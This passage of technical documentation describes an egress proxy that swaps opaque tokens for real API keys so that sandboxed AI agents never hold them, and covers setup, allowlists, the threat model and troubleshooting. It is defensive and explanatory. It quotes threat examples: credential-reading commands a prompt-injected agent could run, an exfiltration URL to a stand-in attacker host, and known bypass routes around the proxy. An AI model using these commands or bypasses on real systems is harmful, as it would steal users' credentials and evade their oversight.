OPENROUTER_API_KEY, OPENAI_API_KEY, etc.). A prompt-injected agent in that sandbox can cat ~/.config/openrouter/auth.json or printenv | grep -i key and exfiltrate them.
The egress proxy fixes this: the sandbox holds opaque proxy tokens, never the real keys. All outbound traffic from the sandbox routes through a local iron-proxy daemon (Apache-2.0, Go) on the host, which terminates TLS and swaps the proxy token for the real credential before forwarding the request upstream. Compromise the sandbox and the attacker walks away with tokens that only work behind the configured trusted proxy boundary — the CA private key and the proxy endpoint integrity are part of that boundary. If traffic can be redirected to attacker-controlled proxy infrastructure (e.g. a stolen CA private key or a hijacked proxy endpoint), the token guarantee no longer holds.
This release wires the egress proxy into the Docker backend only. Modal, Daytona, SSH, and Singularity do not receive proxy env vars or CA mounts yet.
What it is
- An
iron-proxysubprocess on the host, with its pinned binary in the PM tool store - A local CA at
~/.mibyan/proxy/ca.crtthat the sandbox trusts so iron-proxy can MITM TLS and rewrite headers - A
proxy.yamlconfig at~/.mibyan/proxy/proxy.yamllisting the upstream hosts you allow and the secrets-transform mapping - A
mappings.jsonrecording which proxy token corresponds to which real env var
HTTPS_PROXY=http://host.docker.internal:9090, HTTP_PROXY=http://host.docker.internal:9091, and standard provider env vars such as OPENROUTER_API_KEY set to opaque proxy tokens. Matching mibyan_PROXY_TOKEN_<ENV_NAME> aliases are also exported for diagnostics. Existing provider SDKs read the usual env names, send the proxy token in Authorization, and iron-proxy’s secrets transform substitutes the real value sourced from the host-side daemon environment.
What it is not
- It is not the inbound
mibyan proxycommand, which is an OAuth aggregator reverse proxy. Different command (mibyan egress), different direction. - It does not sit between your local terminal and providers — only between the sandbox and providers.
- It does not rewrite credentials for in-process LLM calls the host process makes. Those continue to use your
.envkeys directly. The threat model is the sandbox, not the host.
Quick start
mibyan egress setup discovers provider keys from your environment. If your keys live only in ~/.mibyan/.env (not exported into your shell), setup reads that file automatically — you don’t have to export them first.
When you re-run setup later (new allowlist host, rotated tokens, switched credential source), it stops the running daemon because its config is held in memory, then offers to restart it for you so the change takes effect immediately. On a tty it asks; pass --restart to always restart or --no-restart to leave it down. To apply changes any other time, mibyan egress restart is the one-command stop-then-start.
Once running, the Docker terminal backend automatically:
- Mounts
~/.mibyan/proxy/ca.crtinto the sandbox at/etc/ssl/certs/mibyan-egress-ca.crt - Sets
HTTPS_PROXY,HTTP_PROXY,REQUESTS_CA_BUNDLE,SSL_CERT_FILE,CURL_CA_BUNDLE,NODE_EXTRA_CA_CERTSto make every common HTTP runtime route through the proxy and trust the CA - Sets
NODE_OPTIONS=--use-openssl-ca(appended to whatever you already have indocker_env.NODE_OPTIONS) so Node.js routes through the OpenSSL store the other CA-bundle vars control — see Node.js asymmetric CA caveat below for the residual gap - Adds
--add-host=host.docker.internal:host-gatewayso the sandbox can reach the host-side proxy on Linux (Docker Desktop handles this automatically on macOS/Windows) - Exports the proxy token under the standard provider env name (for example
OPENROUTER_API_KEY) plus onemibyan_PROXY_TOKEN_<ENV_NAME>diagnostic alias per minted mapping
Configuration
The full config lives in~/.mibyan/config.yaml under the proxy: section. Defaults are documented inline; everything is optional.
Default allowed upstream hosts
proxy.extra_allowed_hosts. Wildcards are matched against the full hostname (*.example.com matches api.example.com and staging.example.com but not example.com itself).
Default SSRF deny CIDRs
Applied regardless of allowlist. These ranges are refused by iron-proxy at the network boundary, so a DNS rebinding attack via an allowlisted hostname can’t reach IMDS or your internal network:
To override: set
proxy.upstream_deny_cidrs to your own list. To opt out entirely (e.g. for a hermetic test that needs to reach a loopback upstream): set it to an empty list [].
Bind policy
The proxy never binds0.0.0.0. The default bind is platform-specific because iron-proxy v0.39 supports only a single bind per daemon process:
- Linux: the docker bridge gateway (
172.17.0.1:<tunnel_port>by default). Containers reach the proxy viahost.docker.internal, which--add-host=host.docker.internal:host-gatewayresolves to exactly this bridge gateway IP — a loopback-only bind would be unreachable from inside sandboxes. The bridge IP is an address on the host’sdocker0interface, so it is not exposed to the LAN; it IS reachable by other containers on the default bridge network, but requests still require a minted proxy token and an allowlisted upstream. If no docker bridge is detected (docker not installed/running), the bind falls back to loopback with a warning. - macOS / Windows Docker Desktop: loopback (
127.0.0.1:<tunnel_port>). Desktop’s VPNkit routeshost.docker.internalto the host, so loopback is reachable from containers and is the least-exposed choice.
metrics.listen: 127.0.0.1:0 so the daemon’s built-in metrics server gets an ephemeral loopback port instead of its default :9090 — otherwise it would fight tunnel_port: 9090 for the same socket and the daemon would refuse to start with “address already in use”. Note the :0 ephemeral port is random per start and not surfaced anywhere, so metrics are effectively disabled at this pin.
If a hostile ip shim earlier on PATH had been able to inject a non-private IPv4 as the bridge address (0.0.0.0, a public address, multicast, link-local, etc.) the loopback fallback still applies — we never bind anything we couldn’t validate via ipaddress.IPv4Address + is_* checks.
Covered auth schemes
Thesecrets transform swaps the proxy token wherever it appears in a matched location — and it matches more than Authorization: Bearer:
GEMINI_API_KEY and GOOGLE_API_KEY are treated as one credential: a single proxy token is minted and injected into the sandbox under both names, and either name in your host env satisfies discovery.
Uncovered providers
Auth schemes that involve request signing or SDK-minted OAuth cannot be swapped by a static header replacement — if their env vars are present, the sandbox holds real credentials for those providers and the egress isolation guarantee is incomplete for them:
These env vars are present on most developer laptops for unrelated tooling (terraform, gcloud, aws CLI, ECR push). They surface as warnings in the wizard and
mibyan egress status but never block the proxy from starting. If you don’t use those providers from sandboxes, unset the vars to clear the warning.
Bitwarden integration
If you already use Bitwarden Secrets Manager viamibyan secrets bitwarden setup, the egress proxy can pull real credentials from there instead of os.environ:
proxy.credential_source: bitwarden and discovers provider env names from your BW project.
Rotation semantics
Whencredential_source: bitwarden, the iron-proxy daemon refetches secrets from BWS via bws secret list <project_id> every time it starts. So the rotation flow is:
- Rotate a key in the Bitwarden web app.
mibyan egress stop && mibyan egress starton the host.- Sandboxes started after that point swap proxy tokens for the new value.
.env edits. No Mibyan restart on the host. The proxy daemon is the only thing that touches the new value — your host process and os.environ are untouched.
Fail-loud at start
Whencredential_source: bitwarden, mibyan egress start pre-checks at the wizard layer AND _build_proxy_subprocess_env re-checks at the daemon layer:
- BWS access token env var is unset → refuse to start with a hint to
unsetand re-run, ormibyan egress setup --no-bitwardento switch back to env mode secrets.bitwarden.project_idis empty → refuse to start with a hint to runmibyan secrets bitwarden setupbws secret listreturns no values for one or more mapped providers → refuse to start, listing the missing names
proxy.allow_env_fallback: true config flag opts back in to the legacy “silently fall back to host env if BWS is unreachable” behavior for migration scenarios. Use it when you’re moving secrets into BW one at a time and want the daemon to start with whichever values are available.
Switching credential source
Re-running
mibyan egress setup WITHOUT either flag preserves the existing credential_source — the wizard refuses to silently downgrade you back to env. This matters because once you’ve configured bitwarden mode, the rotation guarantee is what you signed up for; you have to explicitly say “I want env again” to change it.
Slash commands
The CLI subcommand tree:Token rotation
By default,mibyan egress setup preserves proxy tokens for providers that already have them. Adding a new provider mints a fresh token only for the new one; existing tokens are unchanged. This avoids 401-ing running sandboxes when you re-run the wizard.
--rotate-tokens rolls every token:
mappings.json is copied to a timestamped sibling so manual recovery is possible:
mibyan egress setup stops a running daemon when it rewrites config or token mappings, because the daemon keeps the old YAML in memory. After --rotate-tokens:
State directory layout
PM owns the managed binary. Mibyan honors aniron-proxy executable on
PATH before checking PM selection. If neither exists, auto_install requests the pinned package, subject
to PM’s lazy-install policy. Explicit installation checks and repairs managed
entries without forcing a new download of valid files. See
PM security tools for hash and signature checks.
Daemon configuration, credentials, and logs remain profile-scoped under
$mibyan_HOME/proxy/ (~/.mibyan/proxy/ by default):
The CA private key is the most sensitive file. It’s created with
0o600 from the first byte (no umask-window TOCTOU) and O_NOFOLLOW so a same-uid attacker can’t redirect it via a planted symlink. The pidfile, nonce file, daemon log, and audit log get the same treatment.
Logging on iron-proxy v0.39
On the currently pinned binary version (v0.39.0) iron-proxy writes ALL output — daemon-level diagnostics AND per-request records — to~/.mibyan/proxy/iron-proxy.log. v0.39’s config.Log struct doesn’t have a separate audit_path field, so we can’t route per-request records to a dedicated stream there.
We still pre-create ~/.mibyan/proxy/audit.log at 0o600 with O_NOFOLLOW because:
- It reserves the path for the future version bump: when the pinned version moves to one that supports
log.audit_path, per-request records will start flowing there without operator-side reconfiguration. Until then the file stays at 0 bytes — do not point monitoring, alerting, or forensics tooling at it yet. Useiron-proxy.logfor everything today. - The 0o600-from-first-byte guarantee defends against the upstream-fix-day where v0.40+ creates the file under its default umask if it doesn’t already exist.
iron-proxy.log as the source of truth for both audiences:
- Daemon-level events (startup banner, bind errors, shutdown reason, transform errors). Operations + troubleshooting.
- Per-request records (CONNECT to allowlisted upstream, secret swap fired, allowlist denial). Forensics + compliance.
How it works
- Sandbox makes an HTTPS request, e.g.
POST https://openrouter.ai/v1/chat/completionswithAuthorization: Bearer mibyan-proxy-openrouter-…(the proxy token, not the real key). - Because
HTTPS_PROXYis set, the request goes to iron-proxy as a CONNECT tunnel. - iron-proxy checks the allowlist.
openrouter.aiis allowed. - iron-proxy mints a leaf cert signed by our CA for
openrouter.ai, terminates the TLS connection, inspects the request. - The
secretstransform matches the proxy-token string in theAuthorizationheader and substitutes the realOPENROUTER_API_KEYvalue, sourced from iron-proxy’s own environment. - Request is re-encrypted and forwarded to OpenRouter.
- The request is logged to
~/.mibyan/proxy/iron-proxy.logon v0.39. When the pinned binary version supports the split stream (v0.40+), per-request records will flow to~/.mibyan/proxy/audit.logand daemon-level diagnostics will stay iniron-proxy.log. See Logging on iron-proxy v0.39.
https://attacker.example.com/leak?key=...) is rejected with HTTP 403 before any bytes leave the host. The denial is recorded in iron-proxy.log with the upstream host and the source sandbox.
CA distribution into the sandbox
When the Docker backend starts a container withproxy.enabled: true and the daemon is listening, it adds these arguments to docker run:
Node.js asymmetric CA caveat
REQUESTS_CA_BUNDLE / SSL_CERT_FILE / CURL_CA_BUNDLE replace the system CA store inside the sandbox. NODE_EXTRA_CA_CERTS adds to it. A Node.js process inside the sandbox could in principle bypass the proxy by opening a raw net.Socket and starting its own TLS handshake — the system CA store would still trust real upstream certs, so the request would succeed where Python / curl would fail validation.
NODE_OPTIONS=--use-openssl-ca is appended to whatever you already have in docker_env.NODE_OPTIONS. This forces Node through the OpenSSL store that SSL_CERT_FILE controls, narrowing the asymmetry. It does NOT cover code that explicitly passes its own ca option to tls.connect() or https.request(), but it closes the easy case.
This is a known v1 limitation. Track github.com/ironsh/iron-proxy/issues for an upstream resolution; in the meantime, do not run untrusted Node code that opens raw sockets in a sandbox you’re depending on egress isolation for.
docker_env collisions
If you set proxy-controlling env vars in yourdocker_env: config block (rare but possible), Mibyan refuses to start the sandbox when enforce_on_docker: true is set. This includes both:
- Egress-control vars:
HTTPS_PROXY,HTTP_PROXY,NO_PROXY,REQUESTS_CA_BUNDLE,SSL_CERT_FILE,CURL_CA_BUNDLE,NODE_EXTRA_CA_CERTS - Real provider env vars: every name in
mappings.json(e.g.OPENROUTER_API_KEY,OPENAI_API_KEY)
enforce_on_docker: false the same situation surfaces as a warning and your docker_env values win — useful for migrations or testing, but you’re explicitly opting OUT of the isolation guarantee.
PID and nonce defense
The daemon’s pidfile is written withO_EXCL + O_NOFOLLOW + ownership check. Concurrent mibyan egress start calls produce one of two outcomes:
- The existing pidfile points at a live iron-proxy → second start refuses with “another start in progress” + a hint to run
mibyan egress stop - The existing pidfile is stale (crashed daemon) → second start unlinks it and retries once
start_proxy plants a fresh random nonce in two places:
mibyan_IRON_PROXY_NONCE=<nonce>in the daemon’s env~/.mibyan/proxy/iron-proxy.nonce(0o600 sibling of the pidfile)
mibyan egress stop (or any other _pid_alive check) wants to confirm a PID still refers to our daemon — not an unrelated process that was assigned the same PID after iron-proxy crashed — it reads /proc/<pid>/environ and looks for the nonce. The on-disk copy is what makes this work across CLI invocations (the in-memory _proxy_nonce is per-process and resets on every mibyan invocation).
If the nonce check fails, the code falls back to matching argv[0] basename against iron-proxy. stop_proxy additionally captures /proc/<pid>/stat starttime before SIGTERM and re-verifies after the 5s grace window — if starttime drifted, the PID was recycled mid-wait and SIGKILL is suppressed with a warning.
Security model
What this protects against:- Prompt-injected agent in a Docker sandbox reading
printenv/ credential files and exfiltrating real keys. - Compromised dependency in the sandbox phoning home to an arbitrary host — default-deny allowlist blocks unknown destinations.
- Agent dialing cloud metadata endpoints (
169.254.169.254) — iron-proxy denies these by default viaupstream_deny_cidrs, including the IPv4-mapped-v6 form::ffff:169.254.169.254. - DNS rebinding through an allowlisted hostname to a private IP — the deny CIDRs are checked at connect time, not at allowlist time.
- Same-uid local processes reading the iron-proxy daemon’s env to scrape secrets — only the env var names referenced by mappings are forwarded, not the full host env.
- A LAN peer with a leaked sandbox proxy token spending your API quota — the proxy binds the docker bridge gateway (Linux) or loopback (Docker Desktop), never
0.0.0.0, so it is unreachable from the external network.
- A compromised host process. If the agent process itself is compromised, real keys in the host’s
~/.mibyan/.envare exposed regardless. This is a defense-in-depth feature for sandbox compromise, not host compromise. - Loss of the trusted-proxy boundary itself. The token-swap guarantee assumes the sandbox trusts the mounted CA cert (
/etc/ssl/certs/mibyan-egress-ca.crt) and that traffic actually reaches our iron-proxy. If the CA private key is stolen, or sandbox egress is redirected to attacker-controlled proxy infrastructure, an adversary-in-the-middle can present a valid leaf cert and the proxy tokens are no longer a meaningful boundary (cf. MITRE ATT&CK T1588.004 — obtained TLS certificate material enabling AiTM). Protect the CA key (it’s0600, host-only) and the proxy endpoint accordingly. - Sandbox processes that bypass
HTTPS_PROXYby using a raw socket. The proxy can’t intercept what doesn’t route to it. Node.js is partially mitigated viaNODE_OPTIONS=--use-openssl-ca(see caveat above). - Credential files explicitly mounted into Docker (
terminal.credential_filesor skill-registered mounts). Egress protects provider env vars; it does not inspect arbitrary mounted files. Do not mount real provider credentials into an enforced egress sandbox. - Allowlisted-host data exfiltration. If
api.openai.comis allowed, an agent could embed exfil data in a request body to that host. The daemon log captures the request happened but doesn’t prevent it. - Uncovered providers (AWS Bedrock SigV4, GCP Vertex service-account OAuth). Their env vars stay in the sandbox; if you enable them, those credentials bypass the proxy entirely. See Uncovered providers.
- iron-proxy in-memory secret zeroisation. The Go binary holds swapped-in real credentials in process memory; a core-dump or
/proc/<pid>/memread from a same-uid attacker would expose them. Out of scope for this layer.
Failure modes
- Binary not installed,
auto_install: true— firstmibyan egress setupormibyan egress startdownloads it. SHA-256 verified against the upstreamchecksums.txt. - Binary not installed,
auto_install: false—startfails with a clear message pointing to manual install. enabled: truebut proxy not running — withenforce_on_docker: true(default), Docker sandbox creation refuses to start with an explanatory error. Withenforce_on_docker: false, it falls back to direct outbound with real creds and logs a warning.- Port collision — iron-proxy exits immediately;
mibyan egress startreports the last 20 log lines and fails with non-zero exit. - Upstream-host denied — sandbox gets HTTP 403 from the proxy with a body explaining which host wasn’t allowed. The agent sees the error and reports it.
- Cloud metadata IP (169.254.169.254) requested — refused by
upstream_deny_cidrsregardless of allowlist. docker_envcollides with a proxy-controlling var (enforce on) — sandbox creation refuses with the names of the colliding keys.docker_forward_envtries to forward a protected provider key (enforce on) — sandbox creation refuses; remove the key fromdocker_forward_envor opt out withproxy.enforce_on_docker: false.docker_extra_argsoverrides proxy env/network controls (enforce on) — sandbox creation refuses; user-supplied-e HTTPS_PROXY=...,--env-file, or--networkargs run after Mibyan’ generated args and can bypass egress.- BWS access token missing in
credential_source: bitwarden—mibyan egress startrefuses with--no-bitwardenas the recovery hint. - iron-proxy doesn’t bind within 5 seconds — process is killed, pidfile unlinked, error names the port + tail of
iron-proxy.log. - Concurrent
mibyan egress startcalls — second call refuses with “another start in progress” if the first’s daemon is up; otherwise the second unlinks the stale pidfile and proceeds.
Troubleshooting
”Refusing to start: BWS_ACCESS_TOKEN is not set”
You enabledcredential_source: bitwarden but the access-token env var isn’t in your shell. Either:
~/.mibyan/.env. Or switch back to env mode:
“iron-proxy exited immediately”
Look at the last 20 lines of~/.mibyan/proxy/iron-proxy.log. Common causes:
- Port already in use → change
proxy.tunnel_portor kill whatever else owns 9090 - Invalid
proxy.yaml→ runmibyan egress setupto regenerate - CA cert / key permissions wrong →
chmod 0o600 ~/.mibyan/proxy/ca.key
”iron-proxy did not bind <bind-host>:9090 within 5s”
The daemon started but never bound the listener. Usually means the binary is wedged or doing something expensive at startup. Check~/.mibyan/proxy/iron-proxy.log. The orphan process is killed automatically and the pidfile cleaned up so you can just retry mibyan egress start.
Sandbox times out connecting to the proxy (Linux)
The container resolveshost.docker.internal to the docker bridge gateway and the proxy is bound there, but a host firewall (commonly ufw with default-deny INPUT) drops container→host traffic on docker0. Verify from a container:
mibyan egress status shows listening, allow the bridge subnet in your firewall, e.g. for ufw:
tunnel_port + 1.)
Sandbox sees HTTP 403 from the proxy
The agent inside the sandbox tried to hit a host that isn’t in proxy.extra_allowed_hosts. The 403 body explains which host. If you want to allow it, add to your config:
mibyan egress setup (to regenerate proxy.yaml) and mibyan egress stop && mibyan egress start.
Sandbox sees SSL verification errors
Either the CA isn’t mounted in the sandbox (rare; the docker backend does this automatically whenproxy.enabled: true), or your image’s HTTP client is reading from a non-standard env var.
proxy.enabled: true AND mibyan egress status shows Listening yes. If the env vars are missing, the sandbox image might be running an entrypoint that strips them — check your docker_env config.
Sandbox sees HTTP 401 from upstreams
Two common causes:
- Token-clobber on re-setup. You ran
mibyan egress setup --rotate-tokens(or rotated tokens some other way) and the running sandboxes still hold the old tokens. Restart the sandboxes. - Bitwarden refresh failed silently. Should not happen with the new fail-loud behavior, but if you have
proxy.allow_env_fallback: trueset, the daemon may have started with stale env values. Check the daemon’s environment (/proc/<iron-proxy-pid>/environ) for the expectedOPENROUTER_API_KEYetc.
”Address in use” after the parent process died
The parent Mibyan process died duringmibyan egress start (Ctrl-C during the listening probe, OOM, panic). The new fix-up logic writes the pidfile immediately after Popen so the orphan is recoverable:
mibyan egress stop says “iron-proxy was not running” but you can still see the daemon in ps, the pidfile got out of sync. Manual recovery:
Inspecting per-request behavior
On the pinned binary version (v0.39) both daemon-level events and per-request records land in~/.mibyan/proxy/iron-proxy.log. The format is line-delimited JSON. Grep for a specific upstream:
log.audit_path), per-request records will move to ~/.mibyan/proxy/audit.log and iron-proxy.log will hold only daemon-level events. Until that bump, audit.log is an empty placeholder (pre-created at 0o600 so the future daemon inherits tight permissions) — wire your logrotate / monitoring tooling to iron-proxy.log today and plan to add audit.log after the version bump.
Limitations (v1)
- Docker backend only. Modal, Daytona, and SSH wiring will follow in separate PRs.
- Providers with signature-based auth (AWS SigV4, GCP service-account OAuth) bypass the proxy entirely — see Uncovered providers. Header-token providers (bearer,
x-api-key,api-key,x-goog-api-key) are all covered. - No native Windows binary upstream. Run on Linux / macOS / WSL.
- The CA is a 10-year self-signed cert on first generation. Rotation requires
openssl genrsa ...by hand (or wait for a follow-up that addsmibyan egress rotate-ca). - Re-running setup stops a running daemon after rewriting config or mappings; restart (or
mibyan egress reloadfor ruleset-only changes) and restart already-running sandboxes after token rotation. - iron-proxy in-memory secret zeroisation is upstream-controlled. Same-uid attackers with
/proc/<pid>/memread access can read swapped-in secrets from the daemon’s memory. - iron-proxy v0.39 only supports a single bind per daemon (we bind the docker bridge gateway on Linux, loopback on Docker Desktop) and combines daemon + per-request records into a single log stream. When upstream adds
proxy.http_listens(plural) andlog.audit_path, a version bump can wire in multi-bind and the dedicated audit stream.
See also
- Upstream project: github.com/ironsh/iron-proxy
- Upstream docs: docs.iron.sh
- Bitwarden integration:
mibyan secrets bitwarden - Mibyan Docker terminal backend: Docker
- Developer / contributor reference: Egress proxy internals

